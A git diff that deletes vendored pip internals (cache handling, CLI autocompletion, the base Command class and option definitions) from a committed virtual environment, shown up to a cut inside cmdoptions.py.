-        return self._ephem_cache.get_path_for_link(link)
-
-    def get(
-        self,
-        link: Link,
-        package_name: str | None,
-        supported_tags: list[Tag],
-    ) -> Link:
-        cache_entry = self.get_cache_entry(link, package_name, supported_tags)
-        if cache_entry is None:
-            return link
-        return cache_entry.link
-
-    def get_cache_entry(
-        self,
-        link: Link,
-        package_name: str | None,
-        supported_tags: list[Tag],
-    ) -> CacheEntry | None:
-        """Returns a CacheEntry with a link to a cached item if it exists or
-        None. The cache entry indicates if the item was found in the persistent
-        or ephemeral cache.
-        """
-        retval = self._wheel_cache.get(
-            link=link,
-            package_name=package_name,
-            supported_tags=supported_tags,
-        )
-        if retval is not link:
-            return CacheEntry(retval, persistent=True)
-
-        retval = self._ephem_cache.get(
-            link=link,
-            package_name=package_name,
-            supported_tags=supported_tags,
-        )
-        if retval is not link:
-            return CacheEntry(retval, persistent=False)
-
-        return None
-
-    @staticmethod
-    def record_download_origin(cache_dir: str, download_info: DirectUrl) -> None:
-        origin_path = Path(cache_dir) / ORIGIN_JSON_NAME
-        if origin_path.exists():
-            try:
-                origin = DirectUrl.from_json(origin_path.read_text(encoding="utf-8"))
-            except Exception as e:
-                logger.warning(
-                    "Could not read origin file %s in cache entry (%s). "
-                    "Will attempt to overwrite it.",
-                    origin_path,
-                    e,
-                )
-            else:
-                # TODO: use DirectUrl.equivalent when
-                # https://github.com/pypa/pip/pull/10564 is merged.
-                if origin.url != download_info.url:
-                    logger.warning(
-                        "Origin URL %s in cache entry %s does not match download URL "
-                        "%s. This is likely a pip bug or a cache corruption issue. "
-                        "Will overwrite it with the new value.",
-                        origin.url,
-                        cache_dir,
-                        download_info.url,
-                    )
-        origin_path.write_text(download_info.to_json(), encoding="utf-8")
diff --git a/venv/Lib/site-packages/pip/_internal/cli/__init__.py b/venv/Lib/site-packages/pip/_internal/cli/__init__.py
deleted file mode 100644
index 5fcddf5d81ed444b20b22344fe8bdecd1ebe055c..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/cli/__init__.py
+++ /dev/null
@@ -1,3 +0,0 @@
-"""Subpackage containing all of pip's command line interface related code"""
-
-# This file intentionally does not import submodules
diff --git a/venv/Lib/site-packages/pip/_internal/cli/autocompletion.py b/venv/Lib/site-packages/pip/_internal/cli/autocompletion.py
deleted file mode 100644
index 4da020a3b80883bbafb65bc8e6ee84987cbddcb9..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/cli/autocompletion.py
+++ /dev/null
@@ -1,187 +0,0 @@
-"""Logic that powers autocompletion installed by ``pip completion``."""
-
-from __future__ import annotations
-
-import optparse
-import os
-import sys
-from collections.abc import Iterable
-from itertools import chain
-from typing import Any
-
-from pip._internal.cli.main_parser import create_main_parser
-from pip._internal.commands import commands_dict, create_command
-
-
-def autocomplete() -> None:
-    """Entry Point for completion of main and subcommand options."""
-    # Don't complete if user hasn't sourced bash_completion file.
-    if "PIP_AUTO_COMPLETE" not in os.environ:
-        return
-    # Don't complete if autocompletion environment variables
-    # are not present
-    if not os.environ.get("COMP_WORDS") or not os.environ.get("COMP_CWORD"):
-        return
-    cwords = os.environ["COMP_WORDS"].split()[1:]
-    cword = int(os.environ["COMP_CWORD"])
-    try:
-        current = cwords[cword - 1]
-    except IndexError:
-        current = ""
-
-    parser = create_main_parser()
-    subcommands = list(commands_dict)
-    options = []
-
-    # subcommand
-    subcommand_name: str | None = None
-    for word in cwords:
-        if word in subcommands:
-            subcommand_name = word
-            break
-    # subcommand options
-    if subcommand_name is not None:
-        # special case: 'help' subcommand has no options
-        if subcommand_name == "help":
-            sys.exit(1)
-        # special case: list locally installed dists for show and uninstall
-        should_list_installed = not current.startswith("-") and subcommand_name in [
-            "show",
-            "uninstall",
-        ]
-        if should_list_installed:
-            # NOTE: this import is deferred until absolutely necessary as it's slow,
-            # and it's important that autocompletion is fast.
-            from pip._internal.metadata import get_default_environment
-
-            env = get_default_environment()
-            lc = current.lower()
-            installed = [
-                dist.canonical_name
-                for dist in env.iter_installed_distributions(local_only=True)
-                if dist.canonical_name.startswith(lc)
-                and dist.canonical_name not in cwords[1:]
-            ]
-            # if there are no dists installed, fall back to option completion
-            if installed:
-                for dist in installed:
-                    print(dist)
-                sys.exit(1)
-
-        should_list_installables = (
-            not current.startswith("-") and subcommand_name == "install"
-        )
-        if should_list_installables:
-            for path in auto_complete_paths(current, "path"):
-                print(path)
-            sys.exit(1)
-
-        subcommand = create_command(subcommand_name)
-
-        for opt in subcommand.parser.option_list_all:
-            if opt.help != optparse.SUPPRESS_HELP:
-                options += [
-                    (opt_str, opt.nargs) for opt_str in opt._long_opts + opt._short_opts
-                ]
-
-        # filter out previously specified options from available options
-        prev_opts = [x.split("=")[0] for x in cwords[1 : cword - 1]]
-        options = [(x, v) for (x, v) in options if x not in prev_opts]
-        # filter options by current input
-        options = [(k, v) for k, v in options if k.startswith(current)]
-        # get completion type given cwords and available subcommand options
-        completion_type = get_path_completion_type(
-            cwords,
-            cword,
-            subcommand.parser.option_list_all,
-        )
-        # get completion files and directories if ``completion_type`` is
-        # ````, ```` or ````
-        if completion_type:
-            paths = auto_complete_paths(current, completion_type)
-            options = [(path, 0) for path in paths]
-        for option in options:
-            opt_label = option[0]
-            # append '=' to options which require args
-            if option[1] and option[0][:2] == "--":
-                opt_label += "="
-            print(opt_label)
-
-        # Complete sub-commands (unless one is already given).
-        if not any(name in cwords for name in subcommand.handler_map()):
-            for handler_name in subcommand.handler_map():
-                if handler_name.startswith(current):
-                    print(handler_name)
-    else:
-        # show main parser options only when necessary
-
-        opts = [i.option_list for i in parser.option_groups]
-        opts.append(parser.option_list)
-        flattened_opts = chain.from_iterable(opts)
-        if current.startswith("-"):
-            for opt in flattened_opts:
-                if opt.help != optparse.SUPPRESS_HELP:
-                    subcommands += opt._long_opts + opt._short_opts
-        else:
-            # get completion type given cwords and all available options
-            completion_type = get_path_completion_type(cwords, cword, flattened_opts)
-            if completion_type:
-                subcommands = list(auto_complete_paths(current, completion_type))
-
-        print(" ".join([x for x in subcommands if x.startswith(current)]))
-    sys.exit(1)
-
-
-def get_path_completion_type(
-    cwords: list[str], cword: int, opts: Iterable[Any]
-) -> str | None:
-    """Get the type of path completion (``file``, ``dir``, ``path`` or None)
-
-    :param cwords: same as the environmental variable ``COMP_WORDS``
-    :param cword: same as the environmental variable ``COMP_CWORD``
-    :param opts: The available options to check
-    :return: path completion type (``file``, ``dir``, ``path`` or None)
-    """
-    if cword < 2 or not cwords[cword - 2].startswith("-"):
-        return None
-    for opt in opts:
-        if opt.help == optparse.SUPPRESS_HELP:
-            continue
-        for o in str(opt).split("/"):
-            if cwords[cword - 2].split("=")[0] == o:
-                if not opt.metavar or any(
-                    x in ("path", "file", "dir") for x in opt.metavar.split("/")
-                ):
-                    return opt.metavar
-    return None
-
-
-def auto_complete_paths(current: str, completion_type: str) -> Iterable[str]:
-    """If ``completion_type`` is ``file`` or ``path``, list all regular files
-    and directories starting with ``current``; otherwise only list directories
-    starting with ``current``.
-
-    :param current: The word to be completed
-    :param completion_type: path completion type(``file``, ``path`` or ``dir``)
-    :return: A generator of regular files and/or directories
-    """
-    directory, filename = os.path.split(current)
-    current_path = os.path.abspath(directory)
-    # Don't complete paths if they can't be accessed
-    if not os.access(current_path, os.R_OK):
-        return
-    filename = os.path.normcase(filename)
-    # list all files that start with ``filename``
-    file_list = (
-        x for x in os.listdir(current_path) if os.path.normcase(x).startswith(filename)
-    )
-    for f in file_list:
-        opt = os.path.join(current_path, f)
-        comp_file = os.path.normcase(os.path.join(directory, f))
-        # complete regular files when there is not ```` after option
-        # complete directories when there is ````, ```` or
-        # ````after option
-        if completion_type != "dir" and os.path.isfile(opt):
-            yield comp_file
-        elif os.path.isdir(opt):
-            yield os.path.join(comp_file, "")
diff --git a/venv/Lib/site-packages/pip/_internal/cli/base_command.py b/venv/Lib/site-packages/pip/_internal/cli/base_command.py
deleted file mode 100644
index d74d192604fa3067b356320b588421a52607a55c..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/cli/base_command.py
+++ /dev/null
@@ -1,261 +0,0 @@
-"""Base Command class, and related routines"""
-
-from __future__ import annotations
-
-import contextlib
-import logging
-import logging.config
-import optparse
-import os
-import sys
-import traceback
-from collections.abc import Callable, Iterator
-from optparse import Values
-
-from pip._vendor.rich import reconfigure
-from pip._vendor.rich import traceback as rich_traceback
-
-from pip._internal.cli import cmdoptions
-from pip._internal.cli.command_context import CommandContextMixIn
-from pip._internal.cli.parser import ConfigOptionParser, UpdatingDefaultsHelpFormatter
-from pip._internal.cli.status_codes import (
-    BROKEN_STDOUT,
-    ERROR,
-    PREVIOUS_BUILD_DIR_ERROR,
-    UNKNOWN_ERROR,
-    VIRTUALENV_NOT_FOUND,
-)
-from pip._internal.exceptions import (
-    BadCommand,
-    CommandError,
-    DiagnosticPipError,
-    InstallationError,
-    NetworkConnectionError,
-    PreviousBuildDirError,
-)
-from pip._internal.utils.filesystem import check_path_owner
-from pip._internal.utils.logging import BrokenStdoutLoggingError, setup_logging
-from pip._internal.utils.misc import get_prog, normalize_path
-from pip._internal.utils.temp_dir import TempDirectoryTypeRegistry as TempDirRegistry
-from pip._internal.utils.temp_dir import global_tempdir_manager, tempdir_registry
-from pip._internal.utils.virtualenv import running_under_virtualenv
-
-__all__ = ["Command"]
-
-logger = logging.getLogger(__name__)
-
-
-class Command(CommandContextMixIn):
-    usage: str = ""
-    ignore_require_venv: bool = False
-
-    def __init__(self, name: str, summary: str, isolated: bool = False) -> None:
-        super().__init__()
-
-        self.name = name
-        self.summary = summary
-        self.parser = ConfigOptionParser(
-            usage=self.usage,
-            prog=f"{get_prog()} {name}",
-            formatter=UpdatingDefaultsHelpFormatter(),
-            add_help_option=False,
-            name=name,
-            description=self.__doc__,
-            isolated=isolated,
-        )
-
-        self.tempdir_registry: TempDirRegistry | None = None
-
-        # Commands should add options to this option group
-        optgroup_name = f"{self.name.capitalize()} Options"
-        self.cmd_opts = optparse.OptionGroup(self.parser, optgroup_name)
-
-        # Add the general options
-        gen_opts = cmdoptions.make_option_group(
-            cmdoptions.general_group,
-            self.parser,
-        )
-        self.parser.add_option_group(gen_opts)
-
-        self.add_options()
-
-    def add_options(self) -> None:
-        pass
-
-    @contextlib.contextmanager
-    def pip_version_check(self, options: Values, args: list[str]) -> Iterator[None]:
-        """
-        This is a no-op so that commands by default do not do the pip version
-        check.
-        """
-        # Make sure we do the pip version check if the index_group options
-        # are present.
-        assert not hasattr(options, "no_index")
-        yield
-
-    def run(self, options: Values, args: list[str]) -> int:
-        raise NotImplementedError
-
-    def _run_wrapper(self, level_number: int, options: Values, args: list[str]) -> int:
-        def _inner_run() -> int:
-            with self.pip_version_check(options, args):
-                return self.run(options, args)
-
-        if options.debug_mode:
-            rich_traceback.install(show_locals=True)
-            return _inner_run()
-
-        try:
-            status = _inner_run()
-            assert isinstance(status, int)
-            return status
-        except DiagnosticPipError as exc:
-            logger.error("%s", exc, extra={"rich": True})
-            logger.debug("Exception information:", exc_info=True)
-
-            return ERROR
-        except PreviousBuildDirError as exc:
-            logger.critical(str(exc))
-            logger.debug("Exception information:", exc_info=True)
-
-            return PREVIOUS_BUILD_DIR_ERROR
-        except (
-            InstallationError,
-            BadCommand,
-            NetworkConnectionError,
-        ) as exc:
-            logger.critical(str(exc))
-            logger.debug("Exception information:", exc_info=True)
-
-            return ERROR
-        except CommandError as exc:
-            logger.critical("%s", exc)
-            logger.debug("Exception information:", exc_info=True)
-
-            return ERROR
-        except BrokenStdoutLoggingError:
-            # stdout is broken; write to stderr directly. Use os.write, not
-            # sys.stderr.write, so a full pipe buffer returns EPIPE instead
-            # of deadlocking (Windows anonymous pipes are ~4KB).
-            try:
-                os.write(2, b"ERROR: Pipe to stdout was broken\n")
-                if level_number <= logging.DEBUG:
-                    encoding = getattr(sys.stderr, "encoding", None) or "utf-8"
-                    os.write(
-                        2, traceback.format_exc().encode(encoding, "backslashreplace")
-                    )
-            except OSError:
-                pass
-
-            # redirect stdout to os.devnull so that the exit cleanup doesn't
-            # produce "BrokenPipeError" when exiting.
-            devnull = os.open(os.devnull, os.O_WRONLY)
-            try:
-                os.dup2(devnull, 1)
-            finally:
-                os.close(devnull)
-
-            return BROKEN_STDOUT
-        except KeyboardInterrupt:
-            logger.critical("Operation cancelled by user")
-            logger.debug("Exception information:", exc_info=True)
-
-            return ERROR
-        except BaseException:
-            logger.critical("Exception:", exc_info=True)
-
-            return UNKNOWN_ERROR
-
-    def parse_args(self, args: list[str]) -> tuple[Values, list[str]]:
-        # factored out for testability
-        return self.parser.parse_args(args)
-
-    def main(self, args: list[str]) -> int:
-        try:
-            with self.main_context():
-                return self._main(args)
-        finally:
-            logging.shutdown()
-
-    def _main(self, args: list[str]) -> int:
-        # We must initialize this before the tempdir manager, otherwise the
-        # configuration would not be accessible by the time we clean up the
-        # tempdir manager.
-        self.tempdir_registry = self.enter_context(tempdir_registry())
-        # Intentionally set as early as possible so globally-managed temporary
-        # directories are available to the rest of the code.
-        self.enter_context(global_tempdir_manager())
-
-        options, args = self.parse_args(args)
-
-        # Set verbosity so that it can be used elsewhere.
-        self.verbosity = options.verbose - options.quiet
-        if options.debug_mode:
-            self.verbosity = 2
-
-        if hasattr(options, "progress_bar") and options.progress_bar == "auto":
-            options.progress_bar = "on" if self.verbosity >= 0 else "off"
-
-        reconfigure(no_color=options.no_color)
-        level_number = setup_logging(
-            verbosity=self.verbosity,
-            no_color=options.no_color,
-            user_log_file=options.log,
-        )
-
-        always_enabled_features = set(options.features_enabled) & set(
-            cmdoptions.ALWAYS_ENABLED_FEATURES
-        )
-        if always_enabled_features:
-            logger.warning(
-                "The following features are always enabled: %s. ",
-                ", ".join(sorted(always_enabled_features)),
-            )
-
-        # Make sure that the --python argument isn't specified after the
-        # subcommand. We can tell, because if --python was specified,
-        # we should only reach this point if we're running in the created
-        # subprocess, which has the _PIP_RUNNING_IN_SUBPROCESS environment
-        # variable set.
-        if options.python and "_PIP_RUNNING_IN_SUBPROCESS" not in os.environ:
-            logger.critical(
-                "The --python option must be placed before the pip subcommand name"
-            )
-            sys.exit(ERROR)
-
-        # TODO: Try to get these passing down from the command?
-        #       without resorting to os.environ to hold these.
-        #       This also affects isolated builds and it should.
-
-        if options.no_input:
-            os.environ["PIP_NO_INPUT"] = "1"
-
-        if options.exists_action:
-            os.environ["PIP_EXISTS_ACTION"] = " ".join(options.exists_action)
-
-        if options.require_venv and not self.ignore_require_venv:
-            # If a venv is required check if it can really be found
-            if not running_under_virtualenv():
-                logger.critical("Could not find an activated virtualenv (required).")
-                sys.exit(VIRTUALENV_NOT_FOUND)
-
-        if options.cache_dir:
-            options.cache_dir = normalize_path(options.cache_dir)
-            if not check_path_owner(options.cache_dir):
-                logger.warning(
-                    "The directory '%s' or its parent directory is not owned "
-                    "or is not writable by the current user. The cache "
-                    "has been disabled. Check the permissions and owner of "
-                    "that directory. If executing pip with sudo, you should "
-                    "use sudo's -H flag.",
-                    options.cache_dir,
-                )
-                options.cache_dir = None
-
-        return self._run_wrapper(level_number, options, args)
-
-    def handler_map(self) -> dict[str, Callable[[Values, list[str]], None]]:
-        """
-        map of names to handler actions for commands with sub-actions
-        """
-        return {}
diff --git a/venv/Lib/site-packages/pip/_internal/cli/cmdoptions.py b/venv/Lib/site-packages/pip/_internal/cli/cmdoptions.py
deleted file mode 100644
index 2b99c79c71750fa869e0c0bd085f1e97582e4153..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/cli/cmdoptions.py
+++ /dev/null
@@ -1,1409 +0,0 @@
-"""
-shared options and groups
-
-The principle here is to define options once, but *not* instantiate them
-globally. One reason being that options with action='append' can carry state
-between parses. pip parses general options twice internally, and shouldn't
-pass on state. To be consistent, all options will follow this design.
-"""
-
-# The following comment should be removed at some point in the future.
-# mypy: strict-optional=False
-from __future__ import annotations
-
-import logging
-import os
-import pathlib
-import re
-import textwrap
-from collections.abc import Callable
-from datetime import datetime, timedelta, timezone
-from functools import partial
-from optparse import SUPPRESS_HELP, Option, OptionGroup, OptionParser, Values
-from textwrap import dedent
-from typing import Any
-
-from pip._vendor.packaging.utils import canonicalize_name
-
-from pip._internal.cli.parser import ConfigOptionParser
-from pip._internal.exceptions import CommandError
-from pip._internal.locations import USER_CACHE_DIR, get_src_prefix
-from pip._internal.models.format_control import FormatControl
-from pip._internal.models.index import PyPI
-from pip._internal.models.release_control import ReleaseControl
-from pip._internal.models.target_python import TargetPython
-from pip._internal.utils.datetime import parse_iso_datetime
-from pip._internal.utils.hashes import STRONG_HASHES
-from pip._internal.utils.misc import strtobool
-
-logger = logging.getLogger(__name__)
-
-
-def raise_option_error(parser: OptionParser, option: Option, msg: str) -> None:
-    """
-    Raise an option parsing error using parser.error().
-
-    Args:
-      parser: an OptionParser instance.
-      option: an Option instance.
-      msg: the error text.
-    """
-    msg = f"{option} error: {msg}"
-    msg = textwrap.fill(" ".join(msg.split()))
-    parser.error(msg)
-
-
-def make_option_group(group: dict[str, Any], parser: ConfigOptionParser) -> OptionGroup:
-    """
-    Return an OptionGroup object
-    group  -- assumed to be dict with 'name' and 'options' keys
-    parser -- an optparse Parser
-    """
-    option_group = OptionGroup(parser, group["name"])
-    for option in group["options"]:
-        option_group.add_option(option())
-    return option_group
-
-
-def check_only_deps_option_does_not_conflict(options: Values) -> None:
-    """Function for determining if --only-deps and other incompatible options are
-    specified.
-
-    :param options: The OptionParser options.
-    """
-    if not options.only_dependencies:
-        return
-    conflicts = []
-    if options.ignore_dependencies:
-        conflicts.append("'--no-deps'")
-    if "legacy-resolver" in options.deprecated_features_enabled:
-        conflicts.append("'--use-deprecated legacy-resolver'")
-    if options.requirements:
-        conflicts.append("'--requirement'")
-    if options.requirements_from_scripts:
-        conflicts.append("'--requirements-from-script'")
-    if options.dependency_groups:
-        conflicts.append("'--group'")
-    if conflicts:
-        if len(conflicts) > 1:
-            conflicts[-1] = "or " + conflicts[-1]
-        conflict_message = ", ".join(conflicts)
-        raise CommandError(
-            f"Cannot use '--only-dependencies' in combination with {conflict_message}. "
-            "If this is unexpected, please refer to the user guide:\n"
-            "\n"
-            "    https://pip.pypa.io/en/stable/user_guide/#installing-only-dependencies"
-        )
-
-
-def check_dist_restriction(options: Values, check_target: bool = False) -> None:
-    """Function for determining if custom platform options are allowed.
-
-    :param options: The OptionParser options.
-    :param check_target: Whether or not to check if --target is being used.
-    """
-    dist_restriction_set = any(
-        [
-            options.python_version,
-            options.platforms,
-            options.abis,
-            options.implementation,
-        ]
-    )
-
-    binary_only = FormatControl(set(), {":all:"})
-    sdist_dependencies_allowed = (
-        options.format_control != binary_only and not options.ignore_dependencies
-    )
-
-    # Installations or downloads using dist restrictions must not combine
-    # source distributions and dist-specific wheels, as they are not
-    # guaranteed to be locally compatible.
-    if dist_restriction_set and sdist_dependencies_allowed:
-        raise CommandError(
-            "When restricting platform and interpreter constraints using "
-            "--python-version, --platform, --abi, or --implementation, "
-            "either --no-deps must be set, or --only-binary=:all: must be "
-            "set and --no-binary must not be set (or must be set to "
-            ":none:)."
-        )
-
-    if check_target:
-        if not options.dry_run and dist_restriction_set and not options.target_dir:
-            raise CommandError(
-                "Can not use any platform or abi specific options unless "
-                "installing via '--target' or using '--dry-run'"
-            )
-
-    if dist_restriction_set:
-        # Lazy import to keep CLI startup fast
-        from pip._internal.utils import pylock as pylock_utils
-
-        for filename in options.requirements:
-            if pylock_utils.is_valid_pylock_filename(filename):
-                raise CommandError(
-                    "Platform and interpreter constraints using "
-                    "--python-version, --platform, --abi, or --implementation, "
-                    f"are not supported when selecting requirements from {filename!r}"
-                )
-
-
-def check_build_constraints(options: Values) -> None:
-    """Function for validating build constraints options.
-
-    :param options: The OptionParser options.
-    """
-    if hasattr(options, "build_constraints") and options.build_constraints:
-        if not options.build_isolation:
-            raise CommandError(
-                "--build-constraint cannot be used with --no-build-isolation."
-            )
-
-        # Import here to avoid circular imports
-        from pip._internal.network.session import PipSession
-        from pip._internal.req.req_file import get_file_content
-
-        # Eagerly check build constraints file contents
-        # is valid so that we don't fail in when trying
-        # to check constraints in isolated build process
-        with PipSession() as session:
-            for constraint_file in options.build_constraints:
-                get_file_content(constraint_file, session)
-
-
-def _path_option_check(option: Option, opt: str, value: str) -> str:
-    return os.path.expanduser(value)
-
-
-def _package_name_option_check(option: Option, opt: str, value: str) -> str:
-    return canonicalize_name(value)
-
-
-class PipOption(Option):
-    TYPES = Option.TYPES + ("path", "package_name")
-    TYPE_CHECKER = Option.TYPE_CHECKER.copy()
-    TYPE_CHECKER["package_name"] = _package_name_option_check
-    TYPE_CHECKER["path"] = _path_option_check
-
-
-###########
-# options #
-###########
-
-help_: Callable[..., Option] = partial(
-    Option,
-    "-h",
-    "--help",
-    dest="help",
-    action="help",
-    help="Show help.",
-)
-
-debug_mode: Callable[..., Option] = partial(
-    Option,
-    "--debug",
-    dest="debug_mode",
-    action="store_true",
-    default=False,
-    help=(
-        "Let unhandled exceptions propagate outside the main subroutine, "
-        "instead of logging them to stderr."
-    ),
-)
-
-isolated_mode: Callable[..., Option] = partial(
-    Option,
-    "--isolated",
-    dest="isolated_mode",
-    action="store_true",
-    default=False,
-    help=(
-        "Run pip in an isolated mode, ignoring environment variables and user "
-        "configuration."
-    ),
-)
-
-require_virtualenv: Callable[..., Option] = partial(
-    Option,
-    "--require-virtualenv",
-    "--require-venv",
-    dest="require_venv",
-    action="store_true",
-    default=False,
-    help=(
-        "Allow pip to only run in a virtual environment; exit with an error otherwise."
-    ),
-)
-
-override_externally_managed: Callable[..., Option] = partial(
-    Option,
-    "--break-system-packages",
-    dest="override_externally_managed",
-    action="store_true",
-    help="Allow pip to modify an EXTERNALLY-MANAGED Python installation",
-)
-
-python: Callable[..., Option] = partial(
-    Option,
-    "--python",
-    dest="python",
-    help="Run pip with the specified Python interpreter.",
-)
-
-verbose: Callable[..., Option] = partial(
-    Option,
-    "-v",
-    "--verbose",
-    dest="verbose",
-    action="count",
-    default=0,
-    help="Give more output. Option is additive, and can be used up to 3 times.",
-)
-
-no_color: Callable[..., Option] = partial(
-    Option,
-    "--no-color",
-    dest="no_color",
-    action="store_true",
-    default=False,
-    help="Suppress colored output.",
-)
-
-version: Callable[..., Option] = partial(
-    Option,
-    "-V",
-    "--version",
-    dest="version",
-    action="store_true",
-    help="Show version and exit.",
-)
-
-quiet: Callable[..., Option] = partial(
-    Option,
-    "-q",
-    "--quiet",
-    dest="quiet",
-    action="count",
-    default=0,
-    help=(
-        "Give less output. Option is additive, and can be used up to 3"
-        " times (corresponding to WARNING, ERROR, and CRITICAL logging"
-        " levels)."
-    ),
-)
-
-progress_bar: Callable[..., Option] = partial(
-    Option,
-    "--progress-bar",
-    dest="progress_bar",
-    type="choice",
-    choices=["auto", "on", "off", "raw"],
-    default="auto",
-    help=(
-        "Specify whether the progress bar should be used. In 'auto'"
-        " mode, --quiet will suppress all progress bars."
-        " [auto, on, off, raw] (default: auto)"
-    ),
-)
-
-log: Callable[..., Option] = partial(
-    PipOption,
-    "--log",
-    "--log-file",
-    "--local-log",
-    dest="log",
-    metavar="path",
-    type="path",
-    help="Path to a verbose appending log.",
-)
-
-no_input: Callable[..., Option] = partial(
-    Option,
-    # Don't ask for input
-    "--no-input",
-    dest="no_input",
-    action="store_true",
-    default=False,
-    help="Disable prompting for input.",
-)
-
-keyring_provider: Callable[..., Option] = partial(
-    Option,
-    "--keyring-provider",
-    dest="keyring_provider",
-    choices=["auto", "disabled", "import", "subprocess"],
-    default="auto",
-    help=(
-        "Enable the credential lookup via the keyring library if user input is allowed."
-        " Specify which mechanism to use [auto, disabled, import, subprocess]."
-        " (default: %default)"
-    ),
-)
-
-proxy: Callable[..., Option] = partial(
-    Option,
-    "--proxy",
-    dest="proxy",
-    type="str",
-    default=None,
-    help="Specify a proxy in the form scheme://[user:passwd@]proxy.server:port.",
-)
-
-no_proxy_env: Callable[..., Option] = partial(
-    Option,
-    "--no-proxy-env",
-    dest="no_proxy_env",
-    action="store_true",
-    default=False,
-    help="Do not read proxy configuration from environment variables.",
-)
-
-retries: Callable[..., Option] = partial(
-    Option,
-    "--retries",
-    dest="retries",
-    type="int",
-    default=5,
-    help="Maximum attempts to establish a new HTTP connection. (default: %default)",
-)
-
-resume_retries: Callable[..., Option] = partial(
-    Option,
-    "--resume-retries",
-    dest="resume_retries",
-    type="int",
-    default=5,
-    help="Maximum attempts to resume or restart an incomplete download. "
-    "(default: %default)",
-)
-
-timeout: Callable[..., Option] = partial(
-    Option,
-    "--timeout",
-    "--default-timeout",
-    metavar="sec",
-    dest="timeout",
-    type="float",
-    default=15,
-    help="Set the socket timeout (default %default seconds).",
-)
-
-
-def exists_action() -> Option:
-    return Option(
-        # Option when path already exist
-        "--exists-action",
-        dest="exists_action",
-        type="choice",
-        choices=["s", "i", "w", "b", "a"],
-        default=[],
-        action="append",
-        metavar="action",
-        help="Default action when a path already exists: "
-        "(s)witch, (i)gnore, (w)ipe, (b)ackup, (a)bort.",
-    )
-
-
-cert: Callable[..., Option] = partial(
-    PipOption,
-    "--cert",
-    dest="cert",
-    type="path",
-    metavar="path",
-    help=(
-        "Path to PEM-encoded CA certificate bundle. "
-        "If provided, overrides the default. "
-        "See 'SSL Certificate Verification' in pip documentation "
-        "for more information."
-    ),
-)
-
-client_cert: Callable[..., Option] = partial(
-    PipOption,
-    "--client-cert",
-    dest="client_cert",
-    type="path",
-    default=None,
-    metavar="path",
-    help="Path to SSL client certificate, a single file containing the "
-    "private key and the certificate in PEM format.",
-)
-
-index_url: Callable[..., Option] = partial(
-    Option,
-    "-i",
-    "--index-url",
-    "--pypi-url",
-    dest="index_url",
-    metavar="URL",
-    default=PyPI.simple_url,
-    help="Base URL of the Python Package Index (default %default). "
-    "This should point to a repository compliant with PEP 503 "
-    "(the simple repository API) or a local directory laid out "
-    "in the same format.",
-)
-
-
-def extra_index_url() -> Option:
-    return Option(
-        "--extra-index-url",
-        dest="extra_index_urls",
-        metavar="URL",
-        action="append",
-        default=[],
-        help="Extra URLs of package indexes to use in addition to "
-        "--index-url. Should follow the same rules as "
-        "--index-url.",
-    )
-
-
-no_index: Callable[..., Option] = partial(
-    Option,
-    "--no-index",
-    dest="no_index",
-    action="store_true",
-    default=False,
-    help="Ignore package index (only looking at --find-links URLs instead).",
-)
-
-
-def find_links() -> Option:
-    return Option(
-        "-f",
-        "--find-links",
-        dest="find_links",
-        action="append",
-        default=[],
-        metavar="url",
-        help="If a URL or path to an html file, then parse for links to "
-        "archives such as sdist (.tar.gz) or wheel (.whl) files. "
-        "If a local path or file:// URL that's a directory, "
-        "then look for archives in the directory listing. "
-        "Links to VCS project URLs are not supported.",
-    )
-
-
-def _handle_uploaded_prior_to(
-    option: Option, opt: str, value: str, parser: OptionParser
-) -> None:
-    """
-    This is an optparse.Option callback for the --uploaded-prior-to option.
-
-    Accepts either an ISO 8601 datetime string (e.g., '2023-01-01T00:00:00Z')
-    or a strict subset of ISO 8601 durations: PnD where n is a number of days
-    (e.g., 'P7D' for 7 days ago).
-
-    Note: This option only works with indexes that provide upload-time metadata
-    as specified in the simple repository API:
-    https://packaging.python.org/en/latest/specifications/simple-repository-api/
-    """
-    if value is None:
-        return None
-
-    # Try ISO 8601 duration in PnD format. The leading 'P' disambiguates
-    # from absolute datetimes. Only whole days are supported; the format may
-    # be extended to more of the ISO 8601 duration syntax in the future if
-    # a real need is presented.
-    match = re.match(r"^P(\d+)D$", value, re.ASCII)
-    if match:
-        days = int(match.group(1))
-        parser.values.uploaded_prior_to = datetime.now(timezone.utc) - timedelta(
-            days=days
-        )
-        return
-
-    try:
-        uploaded_prior_to = parse_iso_datetime(value)
-        # Use local timezone if no offset is given in the ISO string.
-        if uploaded_prior_to.tzinfo is None:
-            uploaded_prior_to = uploaded_prior_to.astimezone()
-        parser.values.uploaded_prior_to = uploaded_prior_to
-    except ValueError as exc:
-        msg = (
-            f"invalid value: {value!r}: {exc}. "
-            f"Expected an ISO 8601 datetime string "
-            f"(e.g., '2023-01-01' or '2023-01-01T00:00:00Z') "
-            f"or a duration in days (e.g., 'P3D')"
-        )
-        raise_option_error(parser, option=option, msg=msg)
-
-
-def uploaded_prior_to() -> Option:
-    return Option(
-        "--uploaded-prior-to",
-        dest="uploaded_prior_to",
-        metavar="datetime_or_duration",
-        action="callback",
-        callback=_handle_uploaded_prior_to,
-        type="str",
-        help=(
-            "Only consider packages uploaded prior to the given value. "
-            "Accepts an ISO 8601 datetime (e.g., '2023-01-01T00:00:00Z', "
-            "uses local timezone if none specified) or a duration in days "
-            "(e.g., 'P3D' for packages uploaded at least 3 days ago). "
-            "Only effective when using indexes that provide "
-            "upload-time metadata."
-        ),
-    )
-
-
-def trusted_host() -> Option:
-    return Option(
-        "--trusted-host",
-        dest="trusted_hosts",
-        action="append",
-        metavar="HOSTNAME",
-        default=[],
-        help="Mark this host or host:port pair as trusted, even though it "
-        "does not have valid or any HTTPS.",
-    )
-
-
-def constraints() -> Option:
-    return Option(
-        "-c",
-        "--constraint",
-        dest="constraints",
-        action="append",
-        default=[],
-        metavar="file",
-        help="Constrain versions using the given constraints file. "
-        "This option can be used multiple times.",
-    )
-
-
-def build_constraints() -> Option:
-    return Option(
-        "--build-constraint",
-        dest="build_constraints",
-        action="append",
-        type="str",
-        default=[],
-        metavar="file",
-        help=(
-            "Constrain build dependencies using the given constraints file. "
-            "This option can be used multiple times."
-        ),
-    )
-
-
-def requirements() -> Option:
-    return Option(
-        "-r",
-        "--requirement",
-        dest="requirements",
-        action="append",
-        default=[],
-        metavar="file",
-        help=(
-            "Install from the given requirements file. "
-            "The file or URL can be in pip's requirements.txt format, "
